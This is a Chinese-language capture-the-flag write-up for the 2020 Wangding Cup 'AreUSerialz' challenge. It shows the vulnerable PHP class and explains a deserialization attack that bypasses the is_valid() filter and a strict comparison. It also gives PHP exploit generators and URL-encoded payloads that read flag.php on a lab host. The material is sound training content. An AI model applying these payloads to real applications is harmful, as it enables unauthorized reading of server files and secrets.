[网鼎杯 2020 青龙组]AreUSerialz
知识点
PHP7.1以上
版本对 属性类型不敏感 ,public
属性序列化不会出现不可见字符,可以用 public 属性 来绕过private
属性和protected
属性序列化内容中用 大写S 表示字符串,此时这个字符串就支持将后面的字符串用 16进制 表示
PHP 比较的弱类型
源码:
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
PHP反序列化的漏洞,通过控制read()读取flag.php的内容。
题解
需要绕过两个地方:
1、is_valid() 函数规定字符的 ASCII 码必须是 32-125 ,而 protected 属性在序列化后会出现不可见字符
\00*\00
,转化为 ASCII 码不符合要求。2、__destruct()魔术方法中,
op==="2"
是强比较,而process()使用的是弱比较op=="2"
,可以通过弱类型绕过。
绕过is_valid() 函数:
①PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过
②private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得很清楚了。同理,protected属性会引入\x00*\x00。此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。
序列化exp
public属性绕过:
<?php
class FileHandler {
public $op = 2;
public $filename = 'flag.php';
public $content = 'zjh';
}
$zjh = new FileHandler;
var_dump(urlencode(serialize($zjh)));
?>
payload:
http://f4368d5d-1722-4e91-915c-b7b61cd06e54.node3.buuoj.cn/?str=O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A3%3A%22zjh%22%3B%7D
大写S表示字符串绕过:
<?php
class FileHandler {
protected $op = 2;
protected $filename = 'flag.php';
protected $content = 'zjh';
}
$zjh = new FileHandler;
var_dump(serialize($zjh));
?>
payload:
http://f4368d5d-1722-4e91-915c-b7b61cd06e54.node3.buuoj.cn/?str=O:11:%22FileHandler%22:3:{S:5:%22\00*\00op%22;i:2;S:11:%22\00*\00filename%22;S:8:%22flag.php%22;S:10:%22\00*\00content%22;S:3:%22zjh%22;}
参考blog